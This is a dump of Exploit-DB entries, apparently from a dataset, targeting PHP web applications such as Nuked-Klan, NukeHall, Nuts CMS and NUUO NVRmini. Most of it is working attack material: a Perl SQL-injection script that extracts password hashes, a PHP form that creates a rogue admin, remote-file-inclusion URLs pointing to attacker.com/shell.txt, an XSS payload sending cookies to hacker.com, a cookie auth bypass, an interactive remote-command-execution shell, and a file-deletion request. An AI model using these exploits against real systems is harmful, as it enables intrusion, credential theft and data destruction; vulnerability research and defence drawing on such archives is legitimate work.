deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26389
Description: Nuked-klaN 1.7 Links Module - 'link_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-24
Author: papipsycho

Exploit:
source: https://www.securityfocus.com/bid/15181/info
   
Nuked Klan is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

#!/usr/bin/perl
use LWP::Simple;

if (@ARGV != 2)
{
print "\n Nuked klan 1.7: Remote Exploit\n";
print "---------------------------------------------\n\n";
print " Coded By Papipsycho for G00t R0t ?       \n Contact: papipsycho@hotmail.com\n\n";
print "[!] usage: perl $0 [host] [user]\n";
print "[?] exam: perl $0 http://127.0.0.1/nk/ papipsycho\n\n";
print "Result:\n";
print "[+]user: papipsycho\n";
print "[+]pass(md5): 05632060d4357d8927n28df514a1fb27\n";
print "[+]id: sliN4piN4t6r4tirlX6b\n\n";
print "---------------------------------------------\n\n";
exit ();
}

$adr = $ARGV[0]; # http://127.0.0.1/nk/
$user = $ARGV[1]; # user

$phase1 = "index.php?file=Links&op=description&link_id=1' UNION SELECT id, pass, pseudo, id, pass ,mail, niveau, count FROM `nuked_users` where pseudo =
'";
$phase2 = "' ORDER BY id DESC /*";
$url = $adr.$phase1.$user.$phase2;
$content = get($url);
print "[+]user: $user\n";
print "[+]pass(md5): ";
print $content =~ /(\w{32})/;
print "\n[+]id: ";
print $content =~ /(\w{20})/;
Exploit-DB #26387
Description: Nuked-klaN 1.7 Sections Module - 'artid' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-24
Author: papipsycho

Exploit:
source: https://www.securityfocus.com/bid/15181/info
 
Nuked Klan is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/nk/index.php?file=Sections&op=article&artid='[SQL]
Exploit-DB #10721
Description: Nuked-klaN 1.7.7 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Nuked-Klan 1.7.7 RFI Vulnerability                                      |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by Nuked-Klan 1.7.7 © 2002
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/nk/modules/Suggest/index.php?module=[EV!L]
| 2- http://server/nk/Includes/blocks/block_module.php?modul=[EV!L]
| 3- http://server/nk/nuked.php?blok[type]=[EV!L]
| 
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #27468
Description: Nuked-klaN 1.x - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-27
Author: DaBDouB-MoSiKaR

Exploit:
source: https://www.securityfocus.com/bid/17233/info

Nuked-Klan is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?file=Calendar&m=[sql]&y=2006
Exploit-DB #23988
Description: Nuked-klaN 1.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2004-04-12
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/10104/info

Nuked-Klan is prone to multiple vulnerabilities. These issues include information disclosure via inclusion of local files, an issue that may permit remote attackers to corrupt configuration files and an SQL injection vulnerability.

- To include a local file:

http://www.example.com/index.php?user_langue=../../../../../file/to/view

- Create admin (overwriting GLOBALS) :

-------------------------------------------------------

<html>
<head>
<title>Nuked-KlaN b1.5 Create Admin</title>
</head>
<body>
<?
function ascii_sql($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}

if (isset($_POST["submit"])){

echo "<script>url='".$target."/index.php?
file=Suggest&op=add_sug&user_langue=../globals.php&nuked[prefix]=nuked_users%20
(id,pseudo,pass,niveau)%20VALUES%20(12345,char(".ascii_sql($_POST
["pseudo"])."),md5(char(".ascii_sql($_POST
["pass"]).")),9)/*&module=Gallery';window.open(url);</script>";
echo "<br><br><br><br>Admin should have been created.";

}else{
?>

<form method="POST" action="<? echo $PHP_SELF; ?>">
<b>Target :</b> <input type="text" name="target" value="http://"><br>
<b>Admin Nick :</b> <input type="text" name="pseudo"><br>
<b>Admin Pass :</b> <input type="text" name="pass"><br>
<input type="submit" name="submit" value="Create Admin">
</form>
<?
}
?>
</body>
</html>
-------------------------------------------------------
Exploit-DB #24766
Description: Nuked-klaN 1.x - Submit Link Function HTML Injection
Type: webapps
Platform: php
Date: 2004-11-23
Author: XioNoX

Exploit:
source: https://www.securityfocus.com/bid/11733/info

NuKed-Klan 'submit URI link' function is reported prone to a HTML injection vulnerability. It is reported that the issue exists due to a lack of sufficient input validation performed on the 'website name' input field of the NuKed-Klan submit URI link form.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may also be possible to take arbitrary actions as the victim user.

http://www.example.com/index.php?file=Suggest&module=Links
[Name of website] [a lot of spaces]
\'/>\"/><script></script><script>document.location=\'http://www.hacker.com/cookie.php?cookie=\'
+window.document.cookie;</script>
Exploit-DB #15545
Description: Nuked-klaN Module Boutique - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-11-15
Author: [AR51]Kevinos

Exploit:
# Exploit Title: module boutique nuked klan
# Google Dork: inurl:index.php?file=Boutique
# Date: 15/11/2010
# Author: [AR51]Kevinos


index.php?file=Boutique&op=cat&catid='
Exploit-DB #14556
Description: Nuked-klaN Module Partenaires NK 1.5 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-08-05
Author: Metropolis

Exploit:
####################################################################
.:. Author : Metropolis
.:. Home : www.metropolis.fr.cr 
.:. Script : Nuked-Klan Module Partenaires NK 1.5
.:. Version : 1.5
.:. Download Script: http://www.nuked-klan.org/index.php?file=Download&op=description&dl_id=317
.:. Bug Type : Blind Sql Injection
.:. Dork : inurl:/modules/Partenaires/clic.php?id=

####################################################################
 
===[ Blind Sql Injection ]===
 
SQL Error =>
 
/modules/Partenaires/clic.php?id=8' 
 
 
www.site.com/modules/Partenaires/clic.php?id=8 [Blind]


####################################################################
Exploit-DB #10712
Description: Nuked-klaN SP4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================             $
| # Title    : Nuked-Klan SP4 RFI Vulnerability                                        |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Powered by Nuked-Klan SP4 &#65533; 2002, 2008  /http://www.nuked-klan.org      |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://localhost/nuked/modules/Search/index.php?mod=[EV!L]
|
| 2- http://localhost/nuked/nk/modules/Suggest/index.php?module=[EV!L]
|
| 3- http://localhost/nuked/nk/Includes/blocks/block_module.php?modul=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #25642
Description: NukeET 3.0/3.1 - Base64 Codigo Variable Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-10
Author: Suko & Lostmon

Exploit:
source: https://www.securityfocus.com/bid/13570/info

NukeET is prone to a cross-site scripting vulnerability.

The source of this issue is that HTML and script code is not properly sanitized from URI variables before being output in a dynamically generated Web page. However, to successfully trigger the issue, HTML and script code may be Base64-encoded when passed as a URI variable argument.

An attacker may exploit the issue by enticing a user to following a link that includes hostile Base64-encoded HTML and script code. The malicious input will be decoded by the application and may then be rendered in the browser of the user who visits the link.

The following Base64-encoded string is equivalent to <script>alert()</script><h1>XSS PoW@ !!!</h1>:

PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+PGgxPlhTUyBQb1dAICEhITwvaDE+

http://www.example.com/security.php?codigo=
PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+PGgxPlhTUyBQb1dAICEhITwvaDE+
Exploit-DB #10217
Description: NukeHall 0.3 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-11-24
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#NukeHall <= 0.3 Multiple Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/project/NukeHall/files/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./nukehall_0.3/admin/modules/blocks.php (line 28)
#       <?php
#          include $spaw_root.'spaw_control.class.php'; 
#       ?>
#PoC  :  http://server/[path]/admin/modules/blocks.php?spaw_root=http://attacker.com/shell.txt?cmd
#
#
#Vuln : ./nukehall_0.3/admin/modules/messages.php (line 28)
#       <?php
#          include $spaw_root.'spaw_control.class.php'; 
#       ?>
#PoC  :  http://server/[path]/admin/modules/messages.php?spaw_root=http://attacker.com/shell.txt?cmd
#
#
#Vuln : ./nukehall_0.3/admin/modules/stories.php (line 28)
#       <?php
#          include $spaw_root.'spaw_control.class.php'; 
#       ?>
#PoC  :  http://server/[path]/admin/modules/stories.php?spaw_root=http://attacker.com/shell.txt?cmd
#
#
#
#
########################################################################
#Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#        dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  manadocoding.net            #
#   all member at  sekuritionline.net          #
\##############################################/

   [ Gorontalo / 2009 ]
Exploit-DB #32243
Description: Nukeviet 2.0 - '/admin/login.php' Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2008-08-13
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30681/info

Nukeviet is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application.

Nukeviet 2.0 Beta is vulnerable; other versions may also be affected. 

javascript:document.cookie = "admf=1; path=/";
Exploit-DB #3090
Description: NUNE News Script 2.0pre2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-01-06
Author: Mehmet Ince

Exploit:
-----------------------------------------------

NUNE News Script (custom_admin_path) Remote File Include Vulnerablity

-----------------------------------------------

Author: xoron

-----------------------------------------------

Code:

if (isset($custom_admin_path))
    $special_admin_path = $custom_admin_path;

else
    $special_admin_path = "news/admin";

require("$special_admin_path/config/nune.conf.php");

-----------------------------------------------

3xplo!t:

www.target.com/[script]/index.php?custom_admin_path=http://evilscript?
www.target.com/[script]/archives.php?custom_admin_path=http://evilscript?

-----------------------------------------------

download: http://download.sourceforge.net/nune/nune-2.0pre2.tar.gz

-----------------------------------------------

Greetz: str0ke, kacper, GODAttach

nukedx'e elveda, kendine iyi bak dostum..!

-----------------------------------------------

# milw0rm.com [2007-01-06]
Exploit-DB #2561
Description: NuralStorm Webmail 0.98b - 'process.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-15
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
NuralStorm Webmail <= 0.98b Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : NuralStorm Webmail Client
version : 0.98b
Download: http://art-futura.w.interia.pl/przyklady/file/webmail098b.zip
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $DEFAULT_SKIN not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/process.php?DEFAULT_SKIN=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-15]
Exploit-DB #11674
Description: nus newssystem 1.02 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-09
Author: n3w7u

Exploit:
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.
 
 ~ NUs Newssystem 1.02 (id) SQL Injection Vulnerability ~
 
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

[+] Autor: n3w7u

[+] Page: http://www.internet-works.de/home.html

[+] Vulnerabilities [ SQL Injection ]

[+] Language: [ PHP ]

[+] Version: 1.02

[+] Dork : inurl:"?pageNum_RSnews"&view

.-=--=--=--=--=--=--=--=--=--=--=-.

[+] Vulnerability 

    Nus.php?pageNum_RSnews=0&id=
	

[+] Exploitable 

    http://[host]/[path]/[script].php?pageNum_RSnews=0&id=9999999+union+select+1,2,3,user,5,pass,7,8,9+from+reguser--
Exploit-DB #4512
Description: nuseo PHP enterprise 1.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-10
Author: BiNgZa

Exploit:
Vulnerability Type: Remote File Inclusion
Vulnerable file: /NuSEO PHP Enterprise.v1.6 Nulled by DGT/NuSEO.PHP.Enterprise.v1.6.PHP.NULL-DGT/nuseo/admin/nuseo_admin_d.php
Exploit URL: http://localhost/path/nuseo/admin/nuseo_admin_d.php?nuseo_dir=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: nuseo_dir
Line number: 268
Lines:

----------------------------------------------

require_once( $nuseo_dir . '/nuseo' . '_d.php' );
//nuseo_require_once( $nuseo_config['dir'] . '/admin/nuseo_admin_config_file' );

----------------------------------------------

GrEeTs To sHaDoW sEcUrItY TeAm & str0ke

FoUnD By BiNgZa

DoRk'SEO by NuSEO.PHP'

shadowcrew@hotmail.co.uk

shadow.php0h.com

# milw0rm.com [2007-10-10]
Exploit-DB #34565
Description: NuSOAP 0.9.5 - 'nusoap.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-03
Author: Bogdan Calin

Exploit:
source: https://www.securityfocus.com/bid/42959/info

NuSOAP is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

NuSOAP 0.9.5 is vulnerable; other versions may be affected. 

http://www.example.com/filename.php/1%3CScRiPt%3Eprompt(923395)%3C/ScRiPt%3E"
Exploit-DB #37809
Description: Nuts CMS - PHP Remote Code Injection / Execution
Type: webapps
Platform: php
Date: 2015-08-17
Author: Yakir Wizman

Exploit:
<?php
# Nuts-CMS Remote PHP Code Injection / Execution 0day Exploit
# 
# Nuts CMS is a content management system (CMS), which enables you to build Web sites and powerful online applications.
# Nuts CMS is an open source solution that is freely available to everyone.
#
# Discovered by Yakir Wizman
# Date 17/08/2015
# Vendor Homepage	: http://www.nuts-cms.com/
# CVE				: N/A
# Description		: Nuts CMS is vulnerable to php code injection due to improper input validation (CWE-20, https://cwe.mitre.org/data/definitions/20.html).
###
# Exploit code:

error_reporting(E_ALL);

$error[0] = "[!] This script is intended to be launched from the cli.";
 
if(php_sapi_name() <> "cli")
	die($error[0]);
     
if($argc < 3) {
	echo("\nUsage  : php {$argv[0]} <host> <path>");
	echo("\nExample: php {$argv[0]} localhost /");
	die();
}

if(isset($argv[1]) && isset($argv[2])) {
	$host = $argv[1];
	$path = $argv[2];
}

$pack = "GET {$path}nuts/login.php?r=<?php+error_reporting(0);print(_nutCmsId_);system(base64_decode(\$_SERVER[HTTP_CMD]));die;+?> HTTP/1.0\r\n";
$pack.= "Host: {$host}\r\n";
$pack.= "Cmd: %s\r\n";
$pack.= "Connection: close\r\n\r\n";

while(1) {
	print "\nAnonymous@{$host}:~# ";
    if(($cmd = trim(fgets(STDIN))) == "exit")
		break;
	preg_match("/_nutCmsId_(.*)/s", http_send($host, sprintf($pack, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

function http_send($host, $pack) {
	if(!($sock = fsockopen($host, 80)))
		die("\n[-] No response from {$host}\n");
	fwrite($sock, $pack);
	return stream_get_contents($sock);
}
?>
Exploit-DB #40214
Description: NUUO NVRmini 2 3.0.8 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2016-08-06
Author: LiquidWorm

Exploit:

NUUO Arbitrary File Deletion Vulnerability


Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: <=3.0.8

Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.

Desc: Input passed to the 'filename' parameter in 'deletefile.php' is not properly
sanitised before being used to delete files. This can be exploited to delete files
with the permissions of the web server using their absolute path or via directory
traversal sequences passed within the affected POST/GET parameter.

==================================================================
/deletefile.php:
----------------

1: <?php
2: $filename=$_POST['filename'];
3: unlink($filename);
4: if (file_exists($filename))
5:         echo "fail";
6: else echo "true";
7: ?>

==================================================================

Tested on: GNU/Linux 3.0.8 (armv7l)
           GNU/Linux 2.6.31.8 (armv5tel)
           lighttpd/1.4.28
           PHP/5.5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5353
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5353.php


14.01.2016

--


POST /deletefile.php HTTP/1.1
Host: 10.0.0.17
Content-Length: x
Origin: http://10.0.0.17
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close

filename=He_molested_murdered_and_mutilated_her.mp4